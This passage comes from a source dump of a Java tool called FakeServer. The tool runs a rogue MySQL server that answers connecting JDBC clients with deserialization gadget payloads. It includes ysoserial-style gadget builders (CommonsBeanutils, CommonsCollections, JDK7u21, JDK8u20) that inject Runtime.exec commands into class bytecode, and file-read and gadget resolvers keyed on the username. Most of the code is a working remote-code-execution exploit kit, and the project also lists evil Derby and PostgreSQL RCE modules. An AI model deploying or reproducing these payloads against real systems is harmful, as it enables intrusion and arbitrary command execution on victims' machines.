= new ReadFileResolver( 64 | inputStream, outputStream, username); 65 | rResolver.resolve(); 66 | break; 67 | } 68 | 69 | if (r.getCommand() == 3) { 70 | if (r.getStatement().toUpperCase().contains("SHOW VARIABLES")) { 71 | log.info("show variables"); 72 | LogUtil.log("show variables"); 73 | if (r.getStatement().contains("mysql-connector-java")) { 74 | mysqlVersion = r.getStatement().split( 75 | "mysql-connector-java-")[1].split(" ")[0].trim(); 76 | log.info("mysql connector version: {}", mysqlVersion); 77 | LogUtil.log("mysql connector version: " + mysqlVersion); 78 | } 79 | VariablesResolver resolver = new VariablesResolver(outputStream); 80 | resolver.resolve(); 81 | } else { 82 | if (mysqlVersion != null && mysqlVersion.startsWith("8")) { 83 | if (r.getStatement().toUpperCase().contains("SHOW SESSION STATUS")) { 84 | GadgetResolver resolver = new GadgetResolver(outputStream, username); 85 | resolver.resolve(); 86 | } else { 87 | outputStream.write(Objects.requireNonNull( 88 | PacketHelper.buildPacket(0, Resp.OK))); 89 | outputStream.flush(); 90 | } 91 | } else { 92 | GadgetResolver resolver = new GadgetResolver(outputStream, username); 93 | resolver.resolve(); 94 | } 95 | 96 | } 97 | } else { 98 | outputStream.write( 99 | Objects.requireNonNull(PacketHelper.buildPacket(1, Resp.OK))); 100 | outputStream.flush(); 101 | } 102 | } catch (Exception ignored) { 103 | break; 104 | } 105 | } 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/GreetingMessage.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.proto.constant.Capability; 4 | import me.n1ar4.fake.proto.constant.Charset; 5 | import me.n1ar4.fake.proto.constant.Status; 6 | import me.n1ar4.fake.proto.utils.ByteUtil; 7 | import org.apache.logging.log4j.LogManager; 8 | import org.apache.logging.log4j.Logger; 9 | 10 | import java.io.ByteArrayOutputStream; 11 | 12 | public class GreetingMessage { 13 | private static final Logger log = LogManager.getLogger(GreetingMessage.class); 14 | private byte[] ProtocolVersion; // 1 15 | private byte[] VersionString; // max:31 16 | private byte[] ServerThreadID; // 4 17 | private byte[] Random; // 8 18 | private byte[] Padding; // 1 19 | private byte[] CaLow; // 2 20 | private byte[] Encode; // 1 21 | private byte[] ServerStatus; // 2 22 | private byte[] CaHigh; // 2 23 | private byte[] CL; // 1 24 | private byte[] OtherPadding; // 10 25 | private byte[] SECURE_CONNECTION; // 13 26 | private byte[] PLUGIN_AUTH; // plugin 27 | private byte[] End; // 1 28 | 29 | public GreetingMessage() { 30 | try { 31 | this.ProtocolVersion = new byte[]{(byte) 0x0a}; 32 | log.debug("protocol version: {}", ColumnPacket.bytesToHex(this.ProtocolVersion)); 33 | 34 | this.VersionString = "5.0.2".getBytes(); 35 | log.debug("version string: {}", new String(this.VersionString)); 36 | 37 | this.ServerThreadID = new byte[]{(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00}; 38 | log.debug("server thread id: {}", ColumnPacket.bytesToHex(this.ServerThreadID)); 39 | 40 | this.Random = new byte[]{(byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x01, 41 | (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x01}; 42 | log.debug("random: {}", ColumnPacket.bytesToHex(this.Random)); 43 | 44 | this.Padding = new byte[]{(byte) 0x00}; 45 | log.debug("padding: {}", ColumnPacket.bytesToHex(this.Padding)); 46 | 47 | int finalCapability = Capability.LONG_PASSWORD + Capability.LONG_FLAG + 48 | Capability.CONNECT_WITH_DB + Capability.PROTOCOL_41 + Capability.TRANSACTIONS + 49 | Capability.SECURE_CONNECTION + Capability.PLUGIN_AUTH; 50 | int low = finalCapability & 0xFFFF; 51 | int high = (finalCapability >> 16) & 0xFFFF; 52 | 53 | this.CaLow = ByteUtil.int16ToByteArray((short) low); 54 | log.debug("capability low hex: {}", ColumnPacket.bytesToHex(this.CaLow)); 55 | 56 | this.Encode = new byte[]{Charset.UTF8}; 57 | log.debug("encode: {}", ColumnPacket.bytesToHex(this.Encode)); 58 | 59 | this.ServerStatus = ByteUtil.int16ToByteArray((short) Status.STATUS_AUTOCOMMIT); 60 | log.debug("capability low hex: {}", ColumnPacket.bytesToHex(this.ServerStatus)); 61 | 62 | this.CaHigh = ByteUtil.int16ToByteArray((short) high); 63 | log.debug("capability high hex: {}", ColumnPacket.bytesToHex(this.CaHigh)); 64 | 65 | this.CL = new byte[]{0x00}; 66 | log.debug("cl: {}", ColumnPacket.bytesToHex(this.CL)); 67 | 68 | this.OtherPadding = new byte[]{(byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x01, 69 | (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x01}; 70 | log.debug("other padding: {}", ColumnPacket.bytesToHex(this.OtherPadding)); 71 | 72 | this.SECURE_CONNECTION = new byte[]{(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, 73 | (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, 74 | (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00}; 75 | log.debug("SECURE_CONNECTION: {}", ColumnPacket.bytesToHex(this.SECURE_CONNECTION)); 76 | 77 | this.PLUGIN_AUTH = "mysql_clear_password".getBytes(); 78 | log.debug("PLUGIN_AUTH: {}", ColumnPacket.bytesToHex(this.PLUGIN_AUTH)); 79 | 80 | this.End = new byte[]{(byte) 0x00}; 81 | log.debug("end: {}", ColumnPacket.bytesToHex(this.End)); 82 | } catch (Exception ex) { 83 | ex.printStackTrace(); 84 | } 85 | } 86 | 87 | public byte[] getBytes() { 88 | ByteArrayOutputStream out; 89 | try { 90 | out = new ByteArrayOutputStream(); 91 | out.write(this.ProtocolVersion); 92 | out.write(this.VersionString); 93 | // string end 94 | out.write(new byte[]{(byte) 0x00}); 95 | out.write(this.ServerThreadID); 96 | out.write(this.Random); 97 | out.write(this.Padding); 98 | out.write(this.CaLow); 99 | out.write(this.Encode); 100 | out.write(this.ServerStatus); 101 | out.write(this.CaHigh); 102 | out.write(this.CL); 103 | out.write(this.OtherPadding); 104 | out.write(this.SECURE_CONNECTION); 105 | out.write(this.PLUGIN_AUTH); 106 | out.write(this.End); 107 | } catch (Exception ex) { 108 | ex.printStackTrace(); 109 | return null; 110 | } 111 | return out.toByteArray(); 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | pom 11 | 12 | 13 | fake-mysql-proto 14 | fake-mysql-gui 15 | fake-mysql5-test 16 | fake-mysql-log 17 | fake-mysql-gadget 18 | fake-mysql6-test 19 | fake-mysql8-test 20 | fake-mysql-cli 21 | fake-mysql-build 22 | pgsql-xml-server 23 | pgsql-rce-test 24 | derby-rce-test 25 | derby-evil-server 26 | 27 | 28 | 29 | 8 30 | 8 31 | UTF-8 32 | 33 | 34 | 35 | 36 | 37 | com.squareup.okhttp3 38 | okhttp 39 | 4.10.0 40 | 41 | 42 | org.apache.logging.log4j 43 | log4j-core 44 | 2.20.0 45 | 46 | 47 | org.javassist 48 | javassist 49 | 3.19.0-GA 50 | 51 | 52 | commons-beanutils 53 | commons-beanutils 54 | 1.9.4 55 | 56 | 57 | commons-collections 58 | commons-collections 59 | 3.1 60 | 61 | 62 | org.apache.commons 63 | commons-collections4 64 | 4.0 65 | 66 | 67 | com.beust 68 | jcommander 69 | 1.82 70 | 71 | 72 | com.intellij 73 | forms_rt 74 | 7.0.3 75 | 76 | 77 | com.formdev 78 | flatlaf 79 | 3.0 80 | 81 | 82 | 83 | 84 | 85 | 86 | com.squareup.okhttp3 87 | okhttp 88 | 89 | 90 | org.apache.logging.log4j 91 | log4j-core 92 | 93 | 94 | org.javassist 95 | javassist 96 | 97 | 98 | commons-beanutils 99 | commons-beanutils 100 | 101 | 102 | commons-collections 103 | commons-collections 104 | 105 | 106 | org.apache.commons 107 | commons-collections4 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | org.apache.maven.plugins 116 | maven-resources-plugin 117 | 3.3.1 118 | 119 | 120 | org.apache.maven.plugins 121 | maven-assembly-plugin 122 | 3.6.0 123 | 124 | 125 | org.apache.maven.plugins 126 | maven-compiler-plugin 127 | 3.11.0 128 | 129 | 130 | 131 | 132 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/GadgetResolver.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.gadget.*; 4 | import me.n1ar4.fake.log.LogUtil; 5 | import me.n1ar4.fake.proto.constant.Resp; 6 | import org.apache.logging.log4j.LogManager; 7 | import org.apache.logging.log4j.Logger; 8 | 9 | import java.io.OutputStream; 10 | import java.util.ArrayList; 11 | import java.util.Base64; 12 | import java.util.List; 13 | import java.util.Objects; 14 | 15 | public class GadgetResolver implements Resolver { 16 | private static final Logger log = LogManager.getLogger(GadgetResolver.class); 17 | private static String customBase64Gadget; 18 | private final OutputStream outputStream; 19 | private final String username; 20 | 21 | public GadgetResolver(OutputStream outputStream, String username) { 22 | this.outputStream = outputStream; 23 | this.username = username; 24 | } 25 | 26 | public static void setCustomGadget(String base64) { 27 | customBase64Gadget = base64; 28 | } 29 | 30 | public void resolve() { 31 | try { 32 | if (!username.startsWith("deser_")) { 33 | return; 34 | } 35 | String[] sps = username.split("_"); 36 | if (sps.length < 2) { 37 | return; 38 | } 39 | String gadget = sps[1]; 40 | 41 | StringBuilder builder; 42 | String cmd = null; 43 | if (!gadget.equals("CUSTOM")) { 44 | builder = new StringBuilder(); 45 | for (int i = 2; i < sps.length; i++) { 46 | builder.append(sps[i]); 47 | if (i != sps.length - 1) { 48 | builder.append("_"); 49 | } 50 | } 51 | cmd = builder.toString(); 52 | } 53 | 54 | log.info("mode: deserialization"); 55 | LogUtil.log("mode: deserialization"); 56 | 57 | byte[] first = PacketHelper.buildPacket(5, new byte[]{(byte) 0x03}); 58 | outputStream.write(Objects.requireNonNull(first)); 59 | outputStream.flush(); 60 | 61 | List columns = new ArrayList<>(); 62 | columns.addAll(ColumnPacket.bytesToList( 63 | Objects.requireNonNull(PacketHelper.buildPacket(2, 64 | ColumnPacket.buildColumnPacket("a"))))); 65 | columns.addAll(ColumnPacket.bytesToList( 66 | Objects.requireNonNull(PacketHelper.buildPacket(3, 67 | ColumnPacket.buildColumnPacket("b"))))); 68 | columns.addAll(ColumnPacket.bytesToList( 69 | Objects.requireNonNull(PacketHelper.buildPacket(4, 70 | ColumnPacket.buildColumnPacket("c"))))); 71 | outputStream.write(ColumnPacket.listToBytes(columns)); 72 | outputStream.flush(); 73 | 74 | outputStream.write(Objects.requireNonNull( 75 | PacketHelper.buildPacket(6, Resp.EOF))); 76 | outputStream.flush(); 77 | 78 | byte[] data; 79 | switch (gadget) { 80 | case "CB": 81 | data = SerUtil.serializeObject(new CB().getObject(cmd)); 82 | break; 83 | case "CC31": 84 | data = SerUtil.serializeObject(new CC31().getObject(cmd)); 85 | break; 86 | case "CC44": 87 | data = SerUtil.serializeObject(new CC44().getObject(cmd)); 88 | break; 89 | case "JDK7U21": 90 | data = SerUtil.serializeObject(new JDK7U21().getObject(cmd)); 91 | break; 92 | case "JDK8U20": 93 | data = JDK8U20.getObject(cmd); 94 | break; 95 | case "URLDNS": 96 | data = SerUtil.serializeObject(new URLDNS().getObject(cmd)); 97 | break; 98 | case "CUSTOM": 99 | if (customBase64Gadget == null || customBase64Gadget.isEmpty()) { 100 | LogUtil.log("must set custom gadget data first"); 101 | return; 102 | } 103 | data = Base64.getDecoder().decode(customBase64Gadget); 104 | break; 105 | default: 106 | return; 107 | } 108 | log.info("gadget: {}", gadget); 109 | LogUtil.log("user gadget: " + gadget.toLowerCase()); 110 | 111 | if (cmd != null) { 112 | log.info("cmd (params): {}", cmd); 113 | LogUtil.log("cmd (params): " + cmd); 114 | } 115 | 116 | if (gadget.equals("CUSTOM")) { 117 | log.info("use custom gadget"); 118 | LogUtil.log("use custom gadget"); 119 | } 120 | 121 | outputStream.write(Objects.requireNonNull(PacketHelper.buildPacket(6, 122 | ColumnPacket.buildColumnValuesPacket( 123 | new byte[][]{"111".getBytes(), data, "222".getBytes()} 124 | )))); 125 | outputStream.flush(); 126 | 127 | outputStream.write(Objects.requireNonNull( 128 | PacketHelper.buildPacket(7, Resp.EOF))); 129 | outputStream.flush(); 130 | } catch (Exception ex) { 131 | log.error("gadget resolver error: {}", ex.toString()); 132 | } 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/Gadgets.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 8 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 9 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 10 | import javassist.ClassClassPath; 11 | import javassist.ClassPool; 12 | import javassist.CtClass; 13 | 14 | import java.io.Serializable; 15 | import java.lang.reflect.*; 16 | import java.util.HashMap; 17 | import java.util.Map; 18 | 19 | import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; 20 | 21 | 22 | /* 23 | * utility generator functions for common jdk-only gadgets 24 | */ 25 | @SuppressWarnings({ 26 | "restriction", "rawtypes", "unchecked" 27 | }) 28 | public class Gadgets { 29 | 30 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 31 | 32 | static { 33 | // special case for using TemplatesImpl gadgets with a SecurityManager enabled 34 | System.setProperty(DESERIALIZE_TRANSLET, "true"); 35 | 36 | // for RMI remote loading 37 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 38 | } 39 | 40 | public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { 41 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 42 | } 43 | 44 | public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { 45 | return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 46 | } 47 | 48 | public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { 49 | final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); 50 | allIfaces[0] = iface; 51 | if (ifaces.length > 0) { 52 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 53 | } 54 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); 55 | } 56 | 57 | public static Map createMap(final String key, final Object val) { 58 | final Map map = new HashMap(); 59 | map.put(key, val); 60 | return map; 61 | } 62 | 63 | public static Object createTemplatesImpl(final String command) throws Exception { 64 | if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { 65 | return createTemplatesImpl( 66 | command, 67 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 68 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 69 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 70 | } 71 | 72 | return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 73 | } 74 | 75 | public static TemplatesImpl createTemplatesImpl1(final String command) throws Exception { 76 | final TemplatesImpl templates = new TemplatesImpl(); 77 | 78 | // use template gadget class 79 | ClassPool pool = ClassPool.getDefault(); 80 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 81 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 82 | // run command in static initializer 83 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 84 | clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); 85 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 86 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 87 | 88 | final byte[] classBytes = clazz.toBytecode(); 89 | 90 | // inject class bytes into instance 91 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ 92 | classBytes, 93 | ClassFiles.classAsBytes(Foo.class)}); 94 | 95 | // required to make TemplatesImpl happy 96 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 97 | Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); 98 | return templates; 99 | } 100 | 101 | public static T createTemplatesImpl(final String command, Class tplClass, Class abstTranslet, Class transFactory) 102 | throws Exception { 103 | final T templates = tplClass.newInstance(); 104 | 105 | // use template gadget class 106 | ClassPool pool = ClassPool.getDefault(); 107 | pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); 108 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 109 | final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 110 | // run command in static initializer 111 | // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections 112 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + 113 | command.replace("\\", "\\\\").replace("\"", "\\\"") + 114 | "\");"; 115 | clazz.makeClassInitializer().insertAfter(cmd); 116 | // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) 117 | clazz.setName("ysoserial.Pwner" + System.nanoTime()); 118 | CtClass superC = pool.get(abstTranslet.getName()); 119 | clazz.setSuperclass(superC); 120 | 121 | final byte[] classBytes = clazz.toBytecode(); 122 | 123 | // inject class bytes into instance 124 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{ 125 | classBytes, ClassFiles.classAsBytes(Foo.class) 126 | }); 127 | 128 | // required to make TemplatesImpl happy 129 | Reflections.setFieldValue(templates, "_name", "Pwnr"); 130 | Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 131 | return templates; 132 | } 133 | 134 | public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, 135 | IllegalAccessException, InvocationTargetException { 136 | HashMap s = new HashMap(); 137 | Reflections.setFieldValue(s, "size", 2); 138 | Class nodeC; 139 | try { 140 | nodeC = Class.forName("java.util.HashMap$Node"); 141 | } catch (ClassNotFoundException e) { 142 | nodeC = Class.forName("java.util.HashMap$Entry"); 143 | } 144 | Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); 145 | Reflections.setAccessible(nodeCons); 146 | 147 | Object tbl = Array.newInstance(nodeC, 2); 148 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 149 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 150 | Reflections.setFieldValue(s, "table", tbl); 151 | return s; 152 | } 153 | 154 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 155 | 156 | private static final long serialVersionUID = -5971610431559700674L; 157 | 158 | 159 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 160 | } 161 | 162 | 163 | @Override 164 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 165 | } 166 | } 167 | 168 | // required to make TemplatesImpl happy 169 | public static class Foo implements Serializable { 170 | 171 | private static final long serialVersionUID = 8207363842866235160L; 172 | } 173 | } -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/JDK8U20.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | 5 | import javax.xml.transform.Templates; 6 | import java.beans.beancontext.BeanContextChildSupport; 7 | import java.beans.beancontext.BeanContextSupport; 8 | import java.lang.reflect.Proxy; 9 | import java.util.HashMap; 10 | import java.util.HashSet; 11 | import java.util.LinkedHashSet; 12 | 13 | import static java.io.ObjectStreamConstants.*; 14 | 15 | @SuppressWarnings("all") 16 | public class JDK8U20 { 17 | public static void main(String[] args) throws Exception { 18 | byte[] o = JDK8U20.getObject("calc.exe"); 19 | SerUtil.deserializeObject(o); 20 | } 21 | 22 | public static byte[] getObject(String command) throws Exception { 23 | TemplatesImpl templates = null; 24 | try { 25 | templates = Gadgets.createTemplatesImpl1(command); 26 | Reflections.setFieldValue(templates, "_auxClasses", null); 27 | 28 | } catch (Exception e) { 29 | e.printStackTrace(); 30 | } 31 | 32 | byte[] bytes = Converter.toBytes(getData(templates)); 33 | 34 | patch(bytes); 35 | return bytes; 36 | } 37 | 38 | public static byte[] patch(byte[] bytes) { 39 | for (int i = 0; i < bytes.length; i++) { 40 | if (bytes[i] == 0x71 && bytes[i + 1] == 0x00 && bytes[i + 2] == 0x7e && bytes[i + 3] == 0x00) { 41 | i = i + 4; 42 | if (bytes[i] == 1) bytes[i] = 5; // (String) 43 | if (bytes[i] == 10) bytes[i] = 13; // (ObjectStreamClass) [[B 44 | if (bytes[i] == 12) bytes[i] = 25; // (BeanContextSupport) 45 | if (bytes[i] == 2) bytes[i] = 9; // (TemplatesImpl) 46 | if (bytes[i] == 16) bytes[i] = 29; // (InvocationHandler) 47 | } 48 | } 49 | return bytes; 50 | } 51 | 52 | static Object[] getData(TemplatesImpl templates) { 53 | 54 | HashMap map = new HashMap(); 55 | // We need map.put("f5a5a608", templates) but ObjectOutputStream does not create a 56 | // reference for templates so that its exactly the same instance as the one added 57 | // directly to the LinkedHashSet. So instead, we can add a string since OOS 58 | // will create a reference to the existing string, and then I can manually 59 | // replace the reference with one pointing to the templates instance in the LinkedHashSet 60 | map.put("f5a5a608", "f5a5a608"); 61 | 62 | int offset = 0; 63 | return new Object[]{ 64 | STREAM_MAGIC, STREAM_VERSION, // stream headers 65 | 66 | // (1) LinkedHashSet 67 | TC_OBJECT, 68 | TC_CLASSDESC, 69 | LinkedHashSet.class.getName(), 70 | -2851667679971038690L, 71 | (byte) 2, // flags 72 | (short) 0, // field count 73 | TC_ENDBLOCKDATA, 74 | TC_CLASSDESC, // super class 75 | HashSet.class.getName(), 76 | -5024744406713321676L, 77 | (byte) 3, // flags 78 | (short) 0, // field count 79 | TC_ENDBLOCKDATA, 80 | TC_NULL, // no superclass 81 | 82 | // Block data that will be read by HashSet.readObject() 83 | // Used to configure the HashSet (capacity, loadFactor, size and items) 84 | TC_BLOCKDATA, 85 | (byte) 12, 86 | (short) 0, 87 | (short) 16, // capacity 88 | (short) 16192, (short) 0, (short) 0, // loadFactor 89 | (short) 2, // size 90 | 91 | // (2) First item in LinkedHashSet 92 | templates, // TemplatesImpl instance with malicious bytecode 93 | 94 | // (3) Second item in LinkedHashSet 95 | // Templates Proxy with AIH handler 96 | TC_OBJECT, 97 | TC_PROXYCLASSDESC, // proxy declaration 98 | 1, // one interface 99 | Templates.class.getName(), // the interface implemented by the proxy 100 | TC_ENDBLOCKDATA, 101 | TC_CLASSDESC, 102 | Proxy.class.getName(), // java.lang.Proxy class desc 103 | -2222568056686623797L, // serialVersionUID 104 | SC_SERIALIZABLE, // flags 105 | (short) 2, // field count 106 | (byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field 107 | (byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field 108 | TC_ENDBLOCKDATA, 109 | TC_NULL, // no superclass 110 | 111 | // (3) Field values 112 | // value for the dummy field <--- BeanContextSupport. 113 | // this field does not actually exist in the Proxy class, so after deserialization this object is ignored. 114 | // (4) BeanContextSupport 115 | TC_OBJECT, 116 | TC_CLASSDESC, 117 | BeanContextSupport.class.getName(), 118 | -4879613978649577204L, // serialVersionUID 119 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), 120 | (short) 1, // field count 121 | (byte) 'I', "serializable", // serializable field, number of serializable children 122 | TC_ENDBLOCKDATA, 123 | TC_CLASSDESC, // super class 124 | BeanContextChildSupport.class.getName(), 125 | 6328947014421475877L, 126 | SC_SERIALIZABLE, 127 | (short) 1, // field count 128 | (byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;", 129 | TC_ENDBLOCKDATA, 130 | TC_NULL, // no superclass 131 | 132 | // (4) Field values 133 | // beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren() 134 | TC_REFERENCE, baseWireHandle + 12, 135 | // serializable: one serializable child 136 | 1, 137 | 138 | // now we add an extra object that is not declared, but that will be read/consumed by readObject 139 | // BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array 140 | // so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler 141 | // At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects 142 | 143 | // (5) AIH that will be deserialized as part of the BeanContextSupport 144 | TC_OBJECT, 145 | TC_CLASSDESC, 146 | "sun.reflect.annotation.AnnotationInvocationHandler", 147 | 6182022883658399397L, // serialVersionUID 148 | (byte) (SC_SERIALIZABLE | SC_WRITE_METHOD), 149 | (short) 2, // field count 150 | (byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field 151 | (byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field 152 | TC_ENDBLOCKDATA, 153 | TC_NULL, // no superclass 154 | 155 | // (5) Field Values 156 | Templates.class, // type field value 157 | map, // memberValues field value 158 | 159 | // note: at this point normally the BeanContextSupport.readChildren would try to read the 160 | // BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws, 161 | // we skip past that one into the catch block, and continue out of readChildren 162 | 163 | // the exception takes us out of readChildren and into BeanContextSupport.readObject 164 | // where there is a call to deserialize(ois, bcmListeners = new ArrayList(1)); 165 | // Within deserialize() there is an int read (0) and then it will read as many obejcts (0) 166 | 167 | TC_BLOCKDATA, 168 | (byte) 4, // block length 169 | 0, // no BeanContextSupport.bcmListenes 170 | TC_ENDBLOCKDATA, 171 | 172 | // (6) value for the Proxy.h field 173 | TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler 174 | 175 | TC_ENDBLOCKDATA, 176 | }; 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /fake-mysql-gui/src/main/java/me/n1ar4/fake/gui/form/FakeServer.form: -------------------------------------------------------------------------------- 1 | 2 |
3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 